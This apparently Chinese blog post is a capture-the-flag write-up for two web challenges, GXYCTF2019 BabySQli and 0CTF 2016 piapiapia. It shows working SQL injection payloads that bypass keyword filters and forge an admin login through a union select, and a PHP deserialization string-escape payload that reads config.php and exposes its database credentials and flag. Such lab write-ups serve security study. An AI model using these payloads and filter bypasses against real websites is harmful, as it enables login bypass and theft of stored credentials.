[GXYCTF2019]BabySQli

随便输入账号密码登陆之后查看源码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
>>> c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==  # base32
>>> select * from user where username = '$name'  # base64

SQL注入?

name=1' or 1=1#&pw=1  // wrong user!    
>>> do not hack me!  // 估计是or被过滤了?测试后是or和=被过滤了
name=1' Or 1#&pw=1   // 啧啧,大小写直接绕过了
name=1' Or 1 Order by 4#&pw=1
>>> Error: Unknown column '4' in 'order clause' //可以知道有三个column

盲猜字段名为id,username,password,当usernameadmin时会说wrong pass!,其他都是wrong user!,username应该就是admin了,这个就很那啥了,先判断username在不在数据库,再判断密码对不对,这样我们就可以通过联合查询的时候会创一个虚拟的表单,让他查这个虚拟表,是符合的.其实只要保证联合查询的结构一样,就可以直接select后面输入你想要的查询的返回值

img

原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

(BUUCTF没有提示啊!!!)

这里说了对密码进行了md5哈希,那我们可以构造payload

name=1' And select 1,"admin","eb6708ec50286d304de795dd207e92f9"#&pw=lz2y
// eb6708ec50286d304de795dd207e92f9为"lz2y"的md5

img

[0CTF 2016]piapiapia

扫了一下,发现是www.zip源码泄露,然后就是代码审计了

我们可以发现在profile.php中有个file_get_contents,根据套路,这里应该就是突破点了,我们看看$profile['photo']的值是否可控

    $profile = unserialize($profile);
    $phone = $profile['phone'];
    $email = $profile['email'];
    $nickname = $profile['nickname'];
    $photo = base64_encode(file_get_contents($profile['photo']));

找了一下,发现能修改的只有upadte.php了,而且接下来会显示<a href="profile.php">,又有一个反序列化,石锤了,现在要想的就是怎么改变$profile['photo']

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    $profile['phone'] = $_POST['phone'];
    $profile['email'] = $_POST['email'];
    $profile['nickname'] = $_POST['nickname'];
    $profile['photo'] = 'upload/' . md5($file['name']);

    $user->update_profile($username, serialize($profile));
    echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

看到update_profile,去找找吧

    public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);

    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
    }

filter为:

    public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
    }

这个时候应该很清晰了,应该用反序列化字符逃逸,当含有where时会被替换成hacker,从而多出了一个字符,思路就出来了吧?这个时候只需要考虑怎么操作就好了

    if(!preg_match('/^\d{11}$/', $_POST['phone']))
        die('Invalid phone');

    if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
        die('Invalid email');

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
        die('Invalid nickname');

    $file = $_FILES['photo'];
    if($file['size'] < 5 or $file['size'] > 1000000)
        die('Photo size error');

可以看到,前两个是没有按相应规则匹配到文本则执行die()函数,也就是说无论preg_match()返回值为0或null或false皆会die出,在检查nickname时,应该是可以绕过的,这是需要nickname只能为字母或者数字,长度不超过10,但是只要他为数组就返回false或者Null可以绕过了

emmm,现在就可以构造了吧

<?php
    $profile['phone'] = "12345678901";
    $profile['email'] = "123@qq.com";
    $profile['nickname'][] = "lz2y";
    $profile['photo'] = "config.php";        //我们可以通过config.php知道flag在这里
    echo serialize($profile);
    # echo strlen('";}s:5:"photo";s:10:"config.php";}');

>>> a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:4:"lz2y";}s:5:"photo";s:10:"config.php";}
    # 34 

这意味着要34个where,emmm,怎么构造就不多说了,之前的文章很详细了

nickname[]=lz2ywherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

抓包修改nickname为数组

img

发现他Warning,不过问题不大,我们打开profile.php,获得base64

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezlhYzM5ZjdlLWIxN2UtNDJlNi1hMTZjLWUxNDFiNjM5MTM1MX0nOwo/Pgo=

>>> 解码后
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ac39f7e-b17e-42e6-a16c-e141b6391351}';
?>
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...